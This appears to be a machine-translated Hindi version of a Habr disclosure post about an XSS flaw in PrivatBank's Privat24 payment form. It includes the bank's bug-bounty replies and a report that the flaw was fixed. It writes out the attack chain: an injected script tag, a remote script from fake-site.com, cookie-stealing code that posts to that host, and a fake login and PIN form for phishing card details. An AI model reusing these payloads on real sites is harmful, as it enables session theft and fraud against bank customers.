प्रिविटबैंक में कार्यक्रम "आईटी कमजोरियों के लिए खोज" कैसे करता है


यूक्रेन में सबसे बड़े बैंक Privatbank ने घोषणा की कि “PrivatBank 10,000 UAH का भुगतान करेगा। Privat24 में मिली कमजोरियों के लिए और बैंक की वेबसाइट पर जानकारी।

इस बारे में जानने के बाद, मुझे XSS भेद्यता याद आ गई, जो मैंने एक निजी चैट में प्राइवेट प्राइवेट ऑपरेटर को आधे साल पहले खोजा और लिखा था। इस अद्भुत खबर के बारे में गुगली करते हुए, मैंने हब पर एक लेख देखा : "प्रिवाबैंक ने यूक्रेनी प्रोग्रामर पर अपने मोबाइल एप्लिकेशन को तोड़ने का आरोप लगाया"

एक ही समय में दिलचस्प और डरावना। कमजोरियों के लिए देखो और हम आपको तोड़ने के लिए दोषी ठहराएंगे!

यह तय करने के बाद कि मैंने प्रिविटबैंक के किसी भी नियम का उल्लंघन नहीं किया है, मैं पुरानी भेद्यता की जांच करने गया था, और (किसी कारण से मुझे कोई संदेह नहीं था) किसी ने भी इसे ठीक नहीं किया।

बैंक की आधिकारिक वेबसाइट पर इंटरनेट प्राप्त करने के लिए कोड फॉर्म का एक उदाहरण है

<form action="https://api.privatbank.ua/p24api/ishop" method="POST"> <input type="text" name="amt" value=""/> <input type="text" name="ccy" value=" (UAH / USD / EUR)" /> <input type="hidden" name="merchant" value="ID " /> <input type="hidden" name="order" value="  " /> <input type="hidden" name="details" value=" " /> <input type="hidden" name="ext_details" value="  ( ,  ..) /  /" /> <input type="hidden" name="pay_way" value="privat24" /> <input type="hidden" name="return_url" value=",    " /> <input type="hidden" name="server_url" value=",   API   " /> <input type="submit" value="" /> </form> 


क्षेत्र में "विवरण" को प्रतिस्थापित करना:

 <input type="hidden" name="details" value="test<script>alert('xss');</script>" /> 


और फॉर्म भेजने के बाद, उपयोगकर्ता PrivatBank भुगतान पृष्ठ पर जाता है, जिस पर XSS निष्पादित होता है:

मूल पृष्ठ इस तरह दिखता है:



यह हमारा अलर्ट चलाता है ():

फ़ायरफ़ॉक्स में:



क्रोम में:



IE10 में:



आगे बढ़ो और जावास्क्रिप्ट को दूरस्थ होस्ट से लोड करें:

 <input type="hidden" name="details" value="test<script src='http://fake-site.com/p.js'></script>"/> 


और हमें त्रुटि मिलती है:



'Https: //api.privatbank.ua/p24api/ishop; Pid = .....' पृष्ठ को HTTPS पर लोड किया गया था, लेकिन 'http://fake-site.com/p.js' से असुरक्षित सामग्री भागा। ': इस सामग्री को HTTPS पर भी लोड किया जाना चाहिए।

हम ठीक करते हैं और फिर से कोशिश करते हैं:

 <input type="hidden" name="details" value="test<script src='https://fake-site.com/p.js'></script>"/> 


यह काम करता है! (मुख्य बात यह है कि प्रमाण पत्र वैध होना चाहिए और स्व-हस्ताक्षरित नहीं)।

दूरस्थ js फ़ाइल निष्पादित की गई है:



इसके बाद, पहली बात जो दिमाग में आती है वह है उपयोगकर्ता कुकीज़ को fake-site.com पर भेजना।

ऐसा करने के लिए, हमारे p.js में जोड़ें:

 function getCookies() { var cookies = {}; // The object we will return var all = document.cookie; // Get all cookies in one big string if (all === "") // If the property is the empty string return cookies; // return an empty object var list = all.split("; "); // Split into individual name=value pairs for(var i = 0; i < list.length; i++) { // For each cookie var cookie = list[i]; var p = cookie.indexOf("="); // Find the first = sign var name = cookie.substring(0,p); // Get cookie name var value = cookie.substring(p+1); // Get cookie value value = decodeURIComponent(value); // Decode the value cookies[name] = value; // Store name and value in object } return cookies; } $.post("https://fake-site.com/p.php", getCookies()); 


हम jQuery का उपयोग केवल इसलिए करते हैं क्योंकि यह बैंक पेज पर उपलब्ध है।

कुकीज़ प्राप्त होती हैं, नकली साइट पर भेजी जाती हैं और हमें एक त्रुटि दिखाई देती है:



XMLHttpRequest 'http://fake-site.com/p.php' लोड नहीं कर सकता। अनुरोधित संसाधन पर कोई 'एक्सेस-कंट्रोल-अनुमति-उत्पत्ति' हेडर मौजूद नहीं है। उत्पत्ति 'https: //api.privatbank.ua ......' इसलिए प्रवेश की अनुमति नहीं है।

हम p.php में ठीक करते हैं:

 header("Access-Control-Allow-Origin: *"); 


और अनुरोध चले गए।

हम वहां नहीं रुकते हैं और पृष्ठ को बदलने का प्रयास करते हैं ताकि उपयोगकर्ता बैंक के ग्राहक से अपना फोन नंबर और पासवर्ड पुनः प्राप्त करे।

P.js को इस तरह संशोधित करें:

 var html = ”...   css  html..”; $(function() { a(); }); function a(){ $(".pr_block").find(".pr_password").addClass("fake").removeClass("pr_password").html(html); $(".bt_cancel").hide(); $(".bt_login").hide(); } 


हम भुगतान कोड इनपुट फ़ील्ड छिपाते हैं और प्राधिकरण फ़ॉर्म दिखाते हैं:



आप पुनर्स्थापना एक्सेस फ़ॉर्म भी दिखा सकते हैं (यदि उपयोगकर्ता पासवर्ड 3 बार गलत तरीके से दर्ज करता है, तो वह इस फॉर्म को देखता है):



बैंक के पेज पर इस फॉर्म को दिखा कर, एक हमलावर अपना पासवर्ड, फोन नंबर, और एक उपयोगकर्ता से मेलिंग पता प्राप्त कर सकता है। फिर, पासवर्ड को पुनर्प्राप्त करने के बाद, बैंक मोबाइल फोन पर पासवर्ड भेजता है और केवल दर्ज किए जाने के बाद, उपयोगकर्ता कार्ड का पिन कोड दर्ज करने के लिए फॉर्म देखता है, लेकिन चूंकि यह फॉर्म नकली है, कोई भी पासवर्ड नहीं भेजेगा और उपयोगकर्ता तुरंत पिन कोड दर्ज करने के लिए फॉर्म देखेगा:



परिणामस्वरूप, हमारे पास उपयोगकर्ता के कार्ड के अंतिम 4 अंक और इसके लिए एक पिन कोड है।

भुगतान फ़ॉर्म से, हमारे पास सभी उपयोगकर्ता कार्डों की एक सूची है:



तदनुसार, हमलावर इस कार्ड से पूरा कार्ड नंबर और पिन कोड जानता है, साथ ही उपयोगकर्ता का नाम, फोन नंबर, Privat24 से पासवर्ड, उसके सभी कार्डों की संख्या और शेष राशि Privat24 पर वायर्ड हो जाता है।

यह Privat24 के माध्यम से भुगतान के साथ किसी भी साइट को लॉन्च करने, भारी छूट के साथ किसी भी उत्पाद को बेचने और उपयोगकर्ता डेटा एकत्र करने के लिए बनी हुई है।

लेकिन जब से हम ईमानदार नागरिक हैं, यह भेद्यता एक बार फिर "आईटी-कमजोरियों के लिए खोज" विभाग को दी गई थी और निम्नलिखित उत्तर प्राप्त हुए थे (PrivatBank से प्रत्येक पत्र प्राप्त करने से पहले, मैं उन्हें पत्र लिखना चाहूंगा):

१) १३ फरवरी २०१४
शुभ दोपहर
भुगतान के रूप में आपका संकेत Privat24 काम करने के लिए लिया गया है।
संकेत के लिए धन्यवाद! हम आपको एक अलग संदेश में परिणामों के बारे में सूचित करेंगे!

२) २० फरवरी २०१४
शुभ दोपहर
भेद्यता अभी तक बंद नहीं हुई है, डेवलपर्स इसके उन्मूलन पर काम कर रहे हैं।
कृपया थोड़ी देर प्रतीक्षा करें और अभी तक इस भेद्यता के बारे में जानकारी प्रकाशित न करें। हम आपको इसके उन्मूलन के बारे में सूचित करेंगे। हम 7 दिनों के लिए संकेतों की समीक्षा कर रहे हैं, लेकिन कमजोरियों का उन्मूलन, दुर्भाग्य से, अधिक समय लगता है (इस तथ्य को देखते हुए कि बहुत सारे संकेत हैं)।
आपकी समझ के लिए धन्यवाद!

3) 12 मार्च 2014
शुभ दोपहर
आपके द्वारा इंगित की गई भेद्यता पहले ही काम कर चुकी है। परिवर्तन किए गए और Privat24 परीक्षण सर्वर पर परीक्षण किया गया। यह उम्मीद की जाती है कि सही किए गए संस्करण का मुकाबला सर्वर से किया जाएगा।
हम आपको सूचित करते हैं कि इस संकेत के लिए आपको एक मौद्रिक इनाम (अनुमानित राशि - 1500 डालर) का भुगतान किया जाएगा। कृपया अपने "यूनिवर्सल" कार्ड की संख्या बताएं जिससे भुगतान किया जाएगा। अप्रैल की शुरुआत में भुगतान किया जाएगा। भुगतान करने से पहले, कृपया इस भेद्यता के बारे में जानकारी का खुलासा न करें। धन्यवाद!

4) 18 अप्रैल 2014
शुभ दोपहर
वर्तमान में, Crimea में बैंक द्वारा सभी भुगतान इस क्षेत्र में बैंकिंग क्षेत्र के बारे में अनिश्चित राजनीतिक स्थिति के कारण निलंबित हैं।
आपकी समझ के लिए धन्यवाद!

आगे की कार्रवाइयों को अंजाम नहीं दिया गया, बैंक के "नियम और शर्तों" के अनुसार आपके खाते पर सभी अध्ययन किए गए:



आज मैंने जाँच की - भेद्यता तय हो गई है!

PS PrivatBank से अंतिम उत्तर।

शुभ दोपहर
जैसा कि यह सहमति हुई थी, आपकी ओर से Privat24 में प्रकट भेद्यता के लिए एक इनाम के रूप में, आपकी ओर से PrivatBank ने UAH 1500 की राशि में एक धर्मार्थ भुगतान किया: ubb.org.ua/en/project/929-#tabs-1

हम अपने संसाधनों की कमजोरियों के बारे में नए प्रभावी संकेतों की प्रतीक्षा कर रहे हैं।
आपके सहयोग के लिए धन्यवाद!

यह बहुत सुखद है कि देश में मौजूदा कठिन परिस्थितियों में, प्रिवाबैंक ने कार्यक्रम के तहत अपने दायित्वों को पूरा किया।

Source: https://habr.com/ru/post/In220539/


All Articles